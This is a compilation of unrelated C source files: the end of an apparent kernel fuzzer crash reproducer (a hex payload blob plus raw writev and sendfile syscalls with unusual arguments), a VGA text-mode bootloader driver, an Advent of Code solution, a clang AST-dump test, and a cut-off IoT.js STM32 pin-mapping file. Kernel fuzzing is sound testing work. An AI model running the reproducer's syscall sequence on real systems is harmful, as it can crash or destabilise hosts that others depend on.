"\x8b\x87\xa5\x55\xcd\xd8\x6a\xbf\xde\xbd\x45\xb5\xa2\xbe\xbb\xf6\xb4\x8a"
"\x44\x20\x50\x57\xa8\x47\x96\xc8\xc6\x05\x4f\xe3\xe1\x26\x90\x03\x3d\x43"
"\x56\x17\x4b\x2d\x47\x89\x75\x42\x5d\x94\x78\x91\x73\x49\xca\x60\xa2\x6d"
"\x79\xed\x68\x62\x92\xf2\xe0\x06\xd4\xba\xf9\x51\xa7\xde\x53\x6b\x96\xf5"
"\x82\xe9\x4d\xe2\xa8\x15\xdc\x39\x10\x71\x94\xdb\x71\x23\x9f\xdb\xec\xd7"
"\xee\x61\x1d\x4a\xe4\x41\xe6\x88\x6a\xca\xbf\x09\x0c\x2c\x2e\x1f\x4f\x65"
"\x5d\xf7\xbd\xe9\x2d\x49\x69\xef\xdf\x2e\xde\xfa\x1b\x9e\x3f\x83\xf7\x66"
"\xe9\xb8\x8d\x9e\x8c\x95\xe5\xe6\xd2\xac\x5c\x4d\xbd\x13\x32\x34\xc5\xec"
"\x5c\x65\xf0\x08\x6e\x84\x20\x77\x06\xf7\x4c\x26\x2b\x5f\xdb\x3c\xbe\x13"
"\xee\xc1\xdb\x8b\xbd\xce\x73\x8d\x4f\x4d\xd2\x1e\x03\x81\xe9\x30\xdb\xbb"
"\xb2\xcb\x27\x28\xd2\x1c\xd2\x53\x04\xc4\x2b\x87\xc7\xa4\xc0\x39\xa1\xe2"
"\x84\x10\x69\xda\xb3\x2e\x58\xd1\x33\x17\x3d\x16\x4a\x6f\x2a\xcd\x38\xa5"
"\x6e\x5f\xa8\x99\xb2\xd8\xfc\x8b\xb6\x3e\xab\x1c\xd7\x4d\x41\x6f\x78\xd6"
"\xf3\xe6\x58\x92\x4d\x9f\x41\x6f\xbf\x52\x6e\x7c\x37\x95\xd9\xff\xaf\x75"
"\x52\x8c\x10\x9b\x9d\xd2\x5e\xc3\xd3\x80\xe5\x2f\xd2\xb4\x75\x36\x2f\x9f"
"\xf0\x01\xe4\xe5\xb7\x3b\xc2\xf2\xa1\x98\x76\x80\x0c\xaa\x90\xf1\x45\x58"
"\x8a\xeb\x83\xe7\x68\x78\xd4\xce\x4d\x7e\x86\x87\xec\x20\x12\xd8\x97\x52"
"\xfb\xbd\xa4\x38\xc6\x1a\xa8\x63\xc3\x08\xc5\x40\xae\x5c\x74\x17\x69\xa3"
"\x80\x32\x80\x8a\x87\x85\x31\x36\xfe\xd9\x16\x4d\x72\x40\xdf\xb9\xb7\xba"
"\xab\xcd\x58\x30\xac\xa5\x74\x85\x4d\x27\xd2\xea\x07\x8c\xbd\xf6\x6a\x9e"
"\x32\x99\x77\xdc\xfe\x8d\x18\x4e\x76\xa6\x03\xc9\xe1\x3c\x59\x51\x52\xdc"
"\xa1\x22\xec\xdc\x9d\xed\xf8\x09\x7b\x86\xa1\x11\x19\xd8\x77\x6b\xdd\x8f"
"\x09\x1a\x47\x3a\x56\x2f\x1d\x0f\x08\x47\xd0\x80\x12\xa7\x76\x18\xc2\x1e"
"\xac\x49\xd1\xce\xeb\x1d\xd6\x31\x2f\xf4\x04\x20\xf1\x09\xe8\x59\x7c\x47"
"\xc1\x97\x6b\xf8\xc2\x20\xea\xd6\x40\x13\x71\xdb\x16\x3d\xe5\xe7\x6c\x02"
"\x18\x62\xbe\x25\xa7\x62\x0b\x5d\xce\x7a\x70\x63\x61\x2d\x6f\x35\xea\x0c"
"\x5a\x56\x39\x9f\x6e\x67\x1d\x5c\xfb\x39\xd5\x11\x03\x86\x89\x7b\x23\x05"
"\x7b\x44\x39\x72\xa8\x34\x03\x2b\x1b\xf4\x88\xee\x76\x9c\xcf\x96\x34\x0f"
"\x2c\x46\x84\x1d\x54\x9e\x36\x21\x48\x6d\xc3\xbe\x59\xd9\x72\xe3\xc4\x74"
"\xd4\x0d\xcc\xdd\xb5\x8d\xb6\x69\x00\xf8\x64\x80\xaf\x02\x4d\x5c\xf9\x0c"
"\x23\x78\xab\x3f\x7c\x12\x1e\x10\xf9\x7c\x70\x0c\xf0\x32\x86\xdd\x99\x12"
"\xfa\x27\x8d\x95\x5b\xe3\x42\x17\xfe\x30\x2b\x59\x64\x05\xce\xbe\x1d\x48"
"\x25\xc0\x53\x07\x9b\x92\x01\x06\x9d\xb2\x03\xc9\x6a\x8f\xf8\x0b\xbb\x49"
"\xb0\x89\x4c\x6f\x42\x4d\x7f\xbf\x79\x65\xaa\x39\xda\xa2\xd4\x17\x95\xad"
"\x92\x21\x79\x89\x8a\x9d\xe6\x4f\x64\x2f\x7b\x02\xb1\x17\x0a\x57\xe3\x66"
"\x3d\x00\x67\xf9\x9f\xc6\xc0\xe0\xb4\xa8\x51\xb4\xea\x5a\xe1\x2c\x6a\xa0"
"\xdb\xc8\x1f\xfe\xb6\x65\x6e\x10\x37\xc2\x69\x1d\xf4\x1b\xff\x81\x3a\x09"
"\x5e\xbd\x95\xde\xd4\x41\x8c\xfd\x0e\x71\x7a\x9f\x3c\x52\x69\x5f\x8a\x1f"
"\x2e\x9e\x57\xbc\xbb\x65\xaa\x5c\x40\x76\x0d\x1c\xcb\xf2\x81\x0f\x53\xcc"
"\x9a\x63\xcf\x2b\x62\x2a\x01\xcf\x4d\x18\xf5\x8f\x78\xce\xd2\xd4\x26\x12"
"\x30\xd6\xf1\xf7\x90\x9d\x20\xc2\x01\x4b\xe0\xc5\xe1\x59\x1c\xef\xcc\xfc"
"\xca\xd0\xf3\x2c\x03\x95\xec\x2b\x7a\x4f\x90\xc0\x26\x32\x77\xf3\x8f\xf7"
"\xff\x43\x7c\x81\x3b\x86\x99\xd4\x93\xde\x67\xd9\x07\x76\xb0\x52\x27\x8d"
"\x64\xa7\x9c\x7b\x94\x57\x3b\x58\x1f\x20\x52\x23\x29\x76\x89\x81\x01\x45"
"\xff\x97\xc7\xd9\xd1\xf7\x64\x7d\x31\x77\xa2\xa1\xdb\xe9\x91\x19\xdc\x00"
"\x8b\x51\xde\x56\x8f\xe9\x55\xc7\x81\x48\xde\x32\x21\xde\x6c\x98\xcc\x39"
"\xb6\x96\x9e\xb1\x66\x38\xb2\x33\x30\x83\x86\x76\x06\x1e\x3f\xbc\x97\x1c"
"\x5d\x5f\xb7\xe4\x12\xc2\x84\xd2\x28\xda\x05\x4c\x28\x55\x56\x7a\x2a\x96"
"\xdd\x1a\x0d\x83\x09\x31\x9e\x14\x02\xf5\xf5\xa9\x04\x9b\x3b\xbf\x88\x8c"
"\x53\x58\x9f\x34\xba\xf0\x09\x96\x48\x77\x41\xaa\x87\x06\xed\x35\xfe\x72"
"\xd0\xb7\x35\x8b\x7f\xed\x80\x8c\xe7\xd2\xb9\x4c\xfa\x4d\x71\x8e\x93\xa8"
"\x47\x12\x04\x9e\xd1\xe5\x3e\x65\xc2\xe2\x27\xa1\x66\xe9\x50\x74\xa5\x87"
"\x06\x6c\x3f\x5d\x97\xab\x2b\x47\x81\x6c\xb7\xc5\x2b\x26\x6c\x94\x83\x16"
"\x05\xfe\xa4\x7b\xc6\x2a\xa7\xc2\xf1\x68\x52\xaa\x14\x40\xb6\x42\xcf\x80"
"\x9d\x6c\x1a\x11\x0a\xd3\xf4\x43\x67\x5a\x21\x9f\xf5\x96\xb2\x65\xab\x70"
"\xc2\x1e\x1b\xab\x5d\x92\x09\xa9\x75\x97\x2d\xde\xda\xe9\xe0\x29\x94\x72"
"\x1e\xea\x0b\xd3\x18\xc3\xac\x15\x3d\x63\x44\x3d\x6e\x3c\x0a\xf7\x00\x63"
"\x10\x66\x29\x2f\x37\x81\xa1\x2d\x8f\x81\x2d\x10\x26\x28\x71\x72\x6e\x73"
"\x73\x11\x63\xa5\xba\x0e\x56\xaa\x94\x21\x3f\x8c\x22\x6a\x86\xe7\x9b\x30"
"\xe4\x0d\xa3\xcd\x12\x37\x3c\x33\x25\xd4\xb2\x1c\x83\xfc\xf8\x15\x89\x00"
"\x80\xfa\x5c\x86\x8b\xb4\x68\x92\x70\xde\x43\xa5\x4d\x59\x77\x5b\x51\x14"
"\xcc\xcf\x64\xd1\x8a\x26\xa0\xdc\xd4\x82\xca\x64\x92\xb3\xbc\x8b\x3c\x94"
"\x5a\xce\x3e\xa6\xcc\x7b\xa3\x6c\x9b\xf7\xb6\xec\x4f\xda\x5a\xf4\x33\x0b"
"\x08\xe1\x00\xde\x12\x72\x04\xb9\x33\xeb\x71\xfb\x02\x19\x21\xb0\xdb\xb7"
"\xd1\xa6\x9c\x4c\xd4\x10\x40\xaa\x23\x90\x74\xe1\x89\x3c\xd2\x15\x9b\x49"
"\x18\x40\x89\xce\xe8\x61\xe4\xe3\xf3\x4f\x4a\x05\x1a\xde\x0c\x4e\x55\x0c"
"\x21\x94\xae\xe4\xc5\x07\x68\x3b\x74\x37\x70\x7d\x2c\xd8\x2a\xb2\x58\x92"
"\xc2\x25\x46\x80\xd2\xea\x96\x72\x4e\x00\x5e\x16\x19\x49\xe6\xa5\xb0\xf7"
"\x32\x69\x66\x69\x2e\x20\x7e\x77\x41\xb1\x19\xd4\xce\x90\xab\x7c\x3a\x56"
"\x09\x8f\x61\x51\x14\x6b\xc5\xf4\x2d\xd6\x70\xd1\xfa\xfc\x68\x15\x95\x68"
"\xcb\x1a\x81\xf9\xe1\x84\xc9\x51\xad\x09\x2b\xb0\xa0\x8c\x9c\x6f\xc7\xb5"
"\x6a\x20\x70\x2c\x5b\x86\x72\x54\x16\x16\x74\xc8\x83\x72\xdc\xc6\xf9\xc5"
"\x5d\xab\xbf\x50\xdc\x37\x4c\x03\x73\x23\x3c\xe3\x4d\xc8\x74\xf6\x53\xd4"
"\x9c\x6f\x42\xc0\x2a\x59\x34\x33\xdc\x29\x7f\xba\x33\x70\x62\x13\x62\x16"
"\x84\xbb\xf2\xe5\x58\x83\x93\xf3\x91\x59\x22\xf2\xd0\x7c\xec\x77\x28\xfb"
"\xaa\x75\x2c\xfa\x49\xed\x46\xb2\xe6\xe0\x86\x00\xd6\x42\xe8\xca\xdb\xb2"
"\xe1\xea\xe9\x60\xae\xcb\xab\x92\x9d\x50\x2f\xfc\x0f\x2f\x0c\x2f\x2e\x50"
"\xe2\x78\xec\x7a\xee\x90\xca\xf5\xf1\x2c\xed\x9c\x3d\xb6\x84\x16\xb3\x2c"
"\xec\x97\x88\x39\x58\xa2\x80\xee\x5c\x95\xd2\x10\xeb\xfc\x4d\xe0\x70\xb0"
"\x9a\x30\x7f\x53\xee\x7a\x7f\xf6\xee\xac\x43\xef\xc9\x2a\x77\x27\xee\x38"
"\x4e\x4d\x7d\x48\xc3\x10\x45\xef\x7f\x24\xa0\x8b\x6b\xa8\x64\xd2\xc3\x1f"
"\x10\xd9\xdf\x49\x6e\xb4\x31\xed\x5d\xbe\xb5\x9e\xce\x4e\x97\x3a\x5c\x34"
"\xe4\xf7\xa7\xc4\x1a\x3c\x29\xd7\x86\xd1\x31\xd6\x8c\xb2\x6e\xb9\x7d\xa1"
"\x95\xb9\x8e\x7a\xe0\xa8\x14\xb6\x26\x6c\xac\x3f\x24\xea\x8c\x04\x1b\x2a"
"\x69\xba\xe2\xf0\x61\x1a\x9d\x0f\xb9\x36\x83\xc0\x7e\xb8\xe3\xfe\x9b\x39"
"\xfa\xd4\xce\x8d\xfd\xa9\x9b\x47\x6e\x19\xc5\x53\x90\x31\x1c\xdf\xe9\x33"
"\x1b\xf3\xfc\xeb\x8d\x27\xf2\x87\xac\xdf\xe9\x99\x2d\x7a\xc7\x28\xee\xa2"
"\xf1\xa0\x88\x4e\x13\x12\xfb\xf1\x77\x03\x46\x43\xa4\xda\x4f\x67\xd9\x7f"
"\xca\x48\x18\x03\xca\x63\x60\x20\xf0\xe6\x99\x88\x9a\x42\xd8\x4f\x1b\xbf"
"\xa6\x6b\xc0\xf9\x52\x20\xc4\x32\x6d\x74\x1c\x26\xcb\x41\xdc\xdc\x4f\x04"
"\x3a\xd5\x10\xe8\xd9\x70\x37\xb8\x2a\x51\xaa\xe7\x43\x96\x66\xff\x72\x20"
"\x4b\x7d\xdf\x70\x6b\x16\x71\xd4\xf4\x1c\x04\x0b\xc4\xa2\x0d\x73\xd4\xc7"
"\x3d\x85\xfb\x77\x99\x2c\x06\x10\xfb\x50\xdc\x8d\x5d\xd1\xa9\xe0\x84\x96"
"\x4e\xf0\x5f\x12\x6c\x3a\x56\xdc\x9f\x78\x03\xe5\x95\x52\x0a\x48\x82\xd9"
"\x94\xd9\x43\x0b\x0f\xc2\xf8\x3c\xd4\xf6\x51\x40\xc1\x10\xbe\x2e\xfb\x02"
"\x4e\x8e\x15\x23\xcf\x47\xad\x56\xc3\x02\x7a\xbc\xb8\xfb\x59\xa9\x4f\x31"
"\x4d\x66\x8b\xab\xd1\x96\x35\xbe\x8e\x8c\xe2\x90\xca\xbd\x80\xce\x2d\xaa"
"\xad\x60\xed\x17\xe2\x18\xc0\x1c\x55\x4a\x87\x61\x89\x03\x7c\x29\xff\x42"
"\xc9\xbe\x4b\xb8\x4a\x02\x5c\x6a\xe4\xe6\xcc\xc1\xb5\xc5\x7f\xae\xb8\x74"
"\x65\xff\x0e\x5d\x09\x2d\xf6\x7b\xf8\xaa\x5d\x0e\x43\xa4",
3812);
*(uint64_t*)0x20000008 = 0xee4;
syscall(__NR_writev, r[1], 0x20000000, 1);
*(uint64_t*)0x20d83ff8 = 0xe3;
syscall(__NR_sendfile, r[0], r[1], 0x20d83ff8, 0x8000fffffffe);
return 0;
}
|
the_stack_data/1065416.c
|
#if bios == 1
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include <drivers/vga_textmode.h>
#include <sys/cpu.h>
#include <lib/real.h>
#include <lib/libc.h>
#include <lib/blib.h>
#include <lib/term.h>
#include <mm/pmm.h>
#define VIDEO_BOTTOM ((VD_ROWS * VD_COLS) - 1)
#define VD_COLS (80 * 2)
#define VD_ROWS 25
static uint8_t *video_mem = (uint8_t *)0xb8000;
static uint8_t *back_buffer = NULL;
static uint8_t *front_buffer = NULL;
static struct context {
size_t cursor_offset;
#define cursor_offset context.cursor_offset
bool cursor_status;
#define cursor_status context.cursor_status
uint8_t text_palette;
#define text_palette context.text_palette
bool scroll_enabled;
#define scroll_enabled context.scroll_enabled
} context;
static size_t old_cursor_offset = 0;
static void draw_cursor(void) {
uint8_t pal = back_buffer[cursor_offset + 1];
video_mem[cursor_offset + 1] = ((pal & 0xf0) >> 4) | ((pal & 0x0f) << 4);
}
void text_swap_palette(void) {
text_palette = (text_palette << 4) | (text_palette >> 4);
}
bool text_scroll_disable(void) {
bool ret = scroll_enabled;
scroll_enabled = false;
return ret;
}
void text_scroll_enable(void) {
scroll_enabled = true;
}
void text_scroll(void) {
// move the text up by one row
for (size_t i = term_context.scroll_top_margin * VD_COLS;
i < (term_context.scroll_bottom_margin - 1) * VD_COLS; i++) {
back_buffer[i] = back_buffer[i + VD_COLS];
}
// clear the last line of the screen
for (size_t i = (term_context.scroll_bottom_margin - 1) * VD_COLS;
i < term_context.scroll_bottom_margin * VD_COLS; i += 2) {
back_buffer[i] = ' ';
back_buffer[i + 1] = text_palette;
}
}
void text_clear(bool move) {
for (size_t i = 0; i < VIDEO_BOTTOM; i += 2) {
back_buffer[i] = ' ';
back_buffer[i + 1] = text_palette;
}
if (move)
cursor_offset = 0;
}
void text_enable_cursor(void) {
cursor_status = true;
}
bool text_disable_cursor(void) {
bool ret = cursor_status;
cursor_status = false;
return ret;
}
uint64_t text_context_size(void) {
uint64_t ret = 0;
ret += sizeof(struct context);
ret += VD_ROWS * VD_COLS; // front buffer
return ret;
}
void text_context_save(uint64_t ptr) {
memcpy32to64(ptr, (uint64_t)(uintptr_t)&context, sizeof(struct context));
ptr += sizeof(struct context);
memcpy32to64(ptr, (uint64_t)(uintptr_t)front_buffer, VD_ROWS * VD_COLS);
}
void text_context_restore(uint64_t ptr) {
memcpy32to64((uint64_t)(uintptr_t)&context, ptr, sizeof(struct context));
ptr += sizeof(struct context);
memcpy32to64((uint64_t)(uintptr_t)front_buffer, ptr, VD_ROWS * VD_COLS);
for (size_t i = 0; i < VD_ROWS * VD_COLS; i++) {
video_mem[i] = front_buffer[i];
back_buffer[i] = front_buffer[i];
}
if (cursor_status) {
draw_cursor();
old_cursor_offset = cursor_offset;
}
}
void text_full_refresh(void) {
for (size_t i = 0; i < VD_ROWS * VD_COLS; i++) {
video_mem[i] = front_buffer[i];
back_buffer[i] = front_buffer[i];
}
if (cursor_status) {
draw_cursor();
old_cursor_offset = cursor_offset;
}
}
void init_vga_textmode(size_t *_rows, size_t *_cols, bool managed) {
if (current_video_mode != -1) {
struct rm_regs r = {0};
r.eax = 0x0003;
rm_int(0x10, &r, &r);
current_video_mode = -1;
}
if (back_buffer == NULL) {
back_buffer = ext_mem_alloc(VD_ROWS * VD_COLS);
} else {
memset(back_buffer, 0, VD_ROWS * VD_COLS);
}
if (front_buffer == NULL) {
front_buffer = ext_mem_alloc(VD_ROWS * VD_COLS);
} else {
memset(front_buffer, 0, VD_ROWS * VD_COLS);
}
cursor_offset = 0;
cursor_status = true;
text_palette = 0x07;
scroll_enabled = true;
text_clear(false);
*_rows = VD_ROWS;
*_cols = VD_COLS / 2;
// VGA cursor code taken from: https://wiki.osdev.org/Text_Mode_Cursor
if (!managed) {
text_disable_cursor();
outb(0x3d4, 0x0a);
outb(0x3d5, (inb(0x3d5) & 0xc0) | 14);
outb(0x3d4, 0x0b);
outb(0x3d5, (inb(0x3d5) & 0xe0) | 15);
outb(0x3d4, 0x0f);
outb(0x3d5, 0);
outb(0x3d4, 0x0e);
outb(0x3d5, 0);
struct rm_regs r = {0};
r.eax = 0x0200;
rm_int(0x10, &r, &r);
} else {
outb(0x3d4, 0x0a);
outb(0x3d5, 0x20);
}
text_double_buffer_flush();
}
void text_double_buffer_flush(void) {
if (cursor_status) {
draw_cursor();
}
if (cursor_offset != old_cursor_offset || cursor_status == false) {
video_mem[old_cursor_offset + 1] = back_buffer[old_cursor_offset + 1];
}
for (size_t i = 0; i < VD_ROWS * VD_COLS; i++) {
if (back_buffer[i] == front_buffer[i]) {
continue;
}
if (cursor_status && i == cursor_offset + 1) {
continue;
}
front_buffer[i] = back_buffer[i];
video_mem[i] = back_buffer[i];
}
if (cursor_status) {
old_cursor_offset = cursor_offset;
}
}
void text_get_cursor_pos(size_t *x, size_t *y) {
*x = (cursor_offset % VD_COLS) / 2;
*y = cursor_offset / VD_COLS;
}
void text_move_character(size_t new_x, size_t new_y, size_t old_x, size_t old_y) {
if (old_x >= VD_COLS / 2 || old_y >= VD_ROWS
|| new_x >= VD_COLS / 2 || new_y >= VD_ROWS) {
return;
}
back_buffer[new_y * VD_COLS + new_x * 2] = back_buffer[old_y * VD_COLS + old_x * 2];
}
void text_set_cursor_pos(size_t x, size_t y) {
if (x >= VD_COLS / 2) {
if ((int)x < 0) {
x = 0;
} else {
x = VD_COLS / 2 - 1;
}
}
if (y >= VD_ROWS) {
if ((int)y < 0) {
y = 0;
} else {
y = VD_ROWS - 1;
}
}
cursor_offset = y * VD_COLS + x * 2;
}
static uint8_t ansi_colours[] = { 0, 4, 2, 6, 1, 5, 3, 7 };
void text_set_text_fg(size_t fg) {
text_palette = (text_palette & 0xf0) | ansi_colours[fg];
}
void text_set_text_bg(size_t bg) {
text_palette = (text_palette & 0x0f) | (ansi_colours[bg] << 4);
}
void text_set_text_fg_bright(size_t fg) {
text_palette = (text_palette & 0xf0) | (ansi_colours[fg] | (1 << 3));
}
void text_set_text_bg_bright(size_t bg) {
text_palette = (text_palette & 0x0f) | ((ansi_colours[bg] | (1 << 3)) << 4);
}
void text_set_text_fg_default(void) {
text_palette = (text_palette & 0xf0) | 7;
}
void text_set_text_bg_default(void) {
text_palette &= 0x0f;
}
void text_putchar(uint8_t c) {
back_buffer[cursor_offset] = c;
back_buffer[cursor_offset + 1] = text_palette;
if (cursor_offset / VD_COLS == term_context.scroll_bottom_margin - 1
&& cursor_offset % VD_COLS == VD_COLS - 2) {
if (scroll_enabled) {
text_scroll();
cursor_offset -= cursor_offset % VD_COLS;
}
} else if (cursor_offset >= (VIDEO_BOTTOM - 1)) {
cursor_offset -= cursor_offset % VD_COLS;
} else {
cursor_offset += 2;
}
}
#endif
|
the_stack_data/98576506.c
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int find(int x, int *xs, int n) {
if (n < 1) return -1;
int mid = n/2;
if (xs[mid] == x) return xs[mid+1];
if (xs[mid] < x)
return find(x, xs+mid+1, n-mid-1);
return find(x, xs, mid);
}
int next_prime(int n) {
static int cap = 0;
static int m = 0;
static int *primes = NULL;
if (!primes) {
cap = 32;
primes = malloc(cap * sizeof(int));
if (!primes) {
perror("allocating primes");
exit(1);
}
primes[m++] = 2;
primes[m++] = 3;
}
if (n < primes[m-1]) return find(n, primes, m);
if (cap <= m) {
cap *= 2;
primes = realloc(primes, cap * sizeof(int));
if (!primes) {
perror("allocating primes");
exit(1);
}
}
for (int i = primes[m-1]+2;; i+=2) {
int p = 1;
for (int j = 0; p && j < m; j++) p *= i % primes[j];
if (p) {
primes[m++] = i;
return i;
}
}
}
int sum_pow(int x, int y) {
int p = 1;
int res = 1;
while (y--) res += p *= x;
return res;
}
int factor_sum(int n) {
int sum = 1;
int p = 2;
while (n >= p) {
int i = 0;
while (n % p == 0) {
i++;
n /= p;
}
if (i > 0) sum *= sum_pow(p, i);
p = next_prime(p);
}
return sum;
}
int robins_inequality(int x) {
double n = x;
return exp(0.57721566490153286060651209008240243104215933593992) * n * log(log(n));
}
int find_starting_point(int target) {
int lo = 5040;
int hi = target;
while (lo < hi) {
int mid = (lo + hi) / 2;
int val = robins_inequality(mid);
if (val < target)
lo = mid + 1;
else if (val > target)
hi = mid;
}
return lo;
}
int p2(int target, int start) {
const int MULTIPLIER = 11;
const int STEPS = 50;
int N = target / MULTIPLIER;
int *house = calloc(N-start, sizeof(*house));
if (!house) {
perror("allocating houses");
exit(1);
}
int found = target;
for (int i = start / STEPS; i <= N; i++) {
int j = i;
int steps = STEPS;
if (j <= start) {
int times = 1 + (start - j) / i;
j += i * times;
steps -= times;
}
for (; steps && j <= N; j += i, steps--) {
if ((house[j-1-start] += i * MULTIPLIER) >= target && j < found) {
N = j;
found = j;
}
}
}
free(house);
return found;
}
int main() {
int input = 34000000;
int got = 0;
int house = find_starting_point(input / 10);
do {
house++;
got = 10 * factor_sum(house);
} while (got < input);
printf("Day 20, part 1: %d\n", house);
house = p2(input, house);
printf("Day 20, part 2: %d\n", house);
}
|
the_stack_data/200143023.c
|
// RUN: %clang_cc1 -ast-dump -ast-dump-filter Test %s | FileCheck -strict-whitespace %s
int TestLocation = 0;
// CHECK: VarDecl{{.*}}TestLocation
// CHECK-NEXT: IntegerLiteral 0x{{[^ ]*}} <col:20> 'int' 0
int TestIndent = 1 + (1);
// CHECK: VarDecl{{.*}}TestIndent
// CHECK-NEXT: {{^}}`-BinaryOperator{{[^()]*$}}
// CHECK-NEXT: {{^}} |-IntegerLiteral{{.*0[^()]*$}}
// CHECK-NEXT: {{^}} `-ParenExpr{{.*0[^()]*$}}
// CHECK-NEXT: {{^}} `-IntegerLiteral{{.*0[^()]*$}}
void TestDeclStmt() {
int x = 0;
int y, z;
}
// CHECK: FunctionDecl{{.*}}TestDeclStmt
// CHECK-NEXT: CompoundStmt
// CHECK-NEXT: DeclStmt
// CHECK-NEXT: VarDecl{{.*}}x
// CHECK-NEXT: IntegerLiteral
// CHECK-NEXT: DeclStmt
// CHECK-NEXT: VarDecl{{.*}}y
// CHECK-NEXT: VarDecl{{.*}}z
int TestOpaqueValueExpr = 0 ?: 1;
// CHECK: VarDecl{{.*}}TestOpaqueValueExpr
// CHECK-NEXT: BinaryConditionalOperator
// CHECK-NEXT: IntegerLiteral
// CHECK-NEXT: OpaqueValueExpr
// CHECK-NEXT: IntegerLiteral
// CHECK-NEXT: OpaqueValueExpr
// CHECK-NEXT: IntegerLiteral
// CHECK-NEXT: IntegerLiteral
void TestUnaryOperatorExpr(void) {
char T1 = 1;
int T2 = 1;
T1++;
T2++;
// CHECK: UnaryOperator{{.*}}postfix '++' cannot overflow
// CHECK-NEXT: DeclRefExpr{{.*}}'T1' 'char'
// CHECK-NOT: UnaryOperator{{.*}}postfix '++' cannot overflow
// CHECK: DeclRefExpr{{.*}}'T2' 'int'
-T1;
-T2;
// CHECK: UnaryOperator{{.*}}prefix '-' cannot overflow
// CHECK-NEXT: ImplicitCastExpr
// CHECK-NEXT: ImplicitCastExpr
// CHECK-NEXT: DeclRefExpr{{.*}}'T1' 'char'
// CHECK-NOT: UnaryOperator{{.*}}prefix '-' cannot overflow
// CHECK: ImplicitCastExpr
// CHECK: DeclRefExpr{{.*}}'T2' 'int'
~T1;
~T2;
// CHECK: UnaryOperator{{.*}}prefix '~' cannot overflow
// CHECK-NEXT: ImplicitCastExpr
// CHECK-NEXT: ImplicitCastExpr
// CHECK-NEXT: DeclRefExpr{{.*}}'T1' 'char'
// CHECK: UnaryOperator{{.*}}prefix '~' cannot overflow
// CHECK-NEXT: ImplicitCastExpr
// CHECK-NEXT: DeclRefExpr{{.*}}'T2' 'int'
}
|
the_stack_data/143872.c
|
/* Copyright 2016-present Samsung Electronics Co., Ltd. and other contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if defined(__NUTTX__) && TARGET_BOARD == STM32F4DIS
#include "iotjs_def.h"
#include "iotjs_systemio-nuttx.h"
#include "stm32_gpio.h"
#include "modules/iotjs_module_stm32f4dis.h"
#if ENABLE_MODULE_ADC
static void iotjs_pin_initialize_adc(const iotjs_jval_t* jobj) {
unsigned int number_bit;
// ADC pin name is "ADC.(number)_(timer)".
#define SET_ADC_CONSTANT(number, timer) \
number_bit = (GPIO_ADC##number##_IN##timer); \
number_bit |= (ADC_NUMBER(number)); \
number_bit |= (SYSIO_TIMER_NUMBER(timer)); \
iotjs_jval_set_property_number(jobj, "ADC" #number "_" #timer, number_bit);
#define SET_ADC_CONSTANT_NUMBER(number) \
SET_ADC_CONSTANT(number, 0); \
SET_ADC_CONSTANT(number, 1); \
SET_ADC_CONSTANT(number, 2); \
SET_ADC_CONSTANT(number, 3); \
SET_ADC_CONSTANT(number, 4); \
SET_ADC_CONSTANT(number, 5); \
SET_ADC_CONSTANT(number, 6); \
SET_ADC_CONSTANT(number, 7); \
SET_ADC_CONSTANT(number, 8); \
SET_ADC_CONSTANT(number, 9); \
SET_ADC_CONSTANT(number, 10); \
SET_ADC_CONSTANT(number, 11); \
SET_ADC_CONSTANT(number, 12); \
SET_ADC_CONSTANT(number, 13); \
SET_ADC_CONSTANT(number, 14); \
SET_ADC_CONSTANT(number, 15);
SET_ADC_CONSTANT_NUMBER(1);
SET_ADC_CONSTANT_NUMBER(2);
SET_ADC_CONSTANT_NUMBER(3);
#undef SET_ADC_CONSTANT_NUMBER
#undef SET_ADC_CONSTANT
}
#endif /* ENABLE_MODULE_ADC */
#if ENABLE_MODULE_GPIO
static void iotjs_pin_initialize_gpio(const iotjs_jval_t* jobj) {
// Set GPIO pin from configuration bits of nuttx.
// GPIO pin name is "P(port)(pin)".
#define SET_GPIO_CONSTANT(port, pin) \
iotjs_jval_set_property_number(jobj, "P" #port #pin, \
(GPIO_PORT##port | GPIO_PIN##pin));
#define SET_GPIO_CONSTANT_PORT(port) \
SET_GPIO_CONSTANT(port, 0); \
SET_GPIO_CONSTANT(port, 1); \
SET_GPIO_CONSTANT(port, 2); \
SET_GPIO_CONSTANT(port, 3); \
SET_GPIO_CONSTANT(port, 4); \
SET_GPIO_CONSTANT(port, 5); \
SET_GPIO_CONSTANT(port, 6); \
SET_GPIO_CONSTANT(port, 7); \
SET_GPIO_CONSTANT(port, 8); \
SET_GPIO_CONSTANT(port, 9); \
SET_GPIO_CONSTANT(port, 10); \
SET_GPIO_CONSTANT(port, 11); \
SET_GPIO_CONSTANT(port, 12); \
SET_GPIO_CONSTANT(port, 13); \
SET_GPIO_CONSTANT(port, 14); \
SET_GPIO_CONSTANT(port, 15);
SET_GPIO_CONSTANT_PORT(A);
SET_GPIO_CONSTANT_PORT(B);
SET_GPIO_CONSTANT_PORT(C);
SET_GPIO_CONSTANT_PORT(D);
SET_GPIO_CONSTANT_PORT(E);
SET_GPIO_CONSTANT(H, 0);
SET_GPIO_CONSTANT(H, 1);
#undef SET_GPIO_CONSTANT_PORT
#undef SET_GPIO_CONSTANT
}
#endif /* ENABLE_MODULE_GPIO */
#if ENABLE_MODULE_PWM
static void iotjs_pin_initialize_pwm(const iotjs_jval_t* jobj) {
unsigned int timer_bit;
// Set PWM pin from configuration bits of nuttx.
// PWM pin name is "PWM(timer).CH(channel)_(n)".
#define SET_GPIO_CONSTANT(timer, channel, order) \
timer_bit = (GPIO_TIM##timer##_CH##channel##OUT_##order); \
timer_bit |= (SYSIO_TIMER_NUMBER(timer)); \
iotjs_jval_set_property_number(&jtim##timer, "CH" #channel "_" #order, \
timer_bit);
#define SET_GPIO_CONSTANT_CHANNEL(timer, channel) \
SET_GPIO_CONSTANT(timer, channel, 1); \
SET_GPIO_CONSTANT(timer, channel, 2);
#define SET_GPIO_CONSTANT_TIM(timer) \
iotjs_jval_t jtim##timer = iotjs_jval_create_object(); \
iotjs_jval_set_property_jval(jobj, "PWM" #timer, &jtim##timer);
#define SET_GPIO_CONSTANT_TIM_1(timer) \
SET_GPIO_CONSTANT_TIM(timer); \
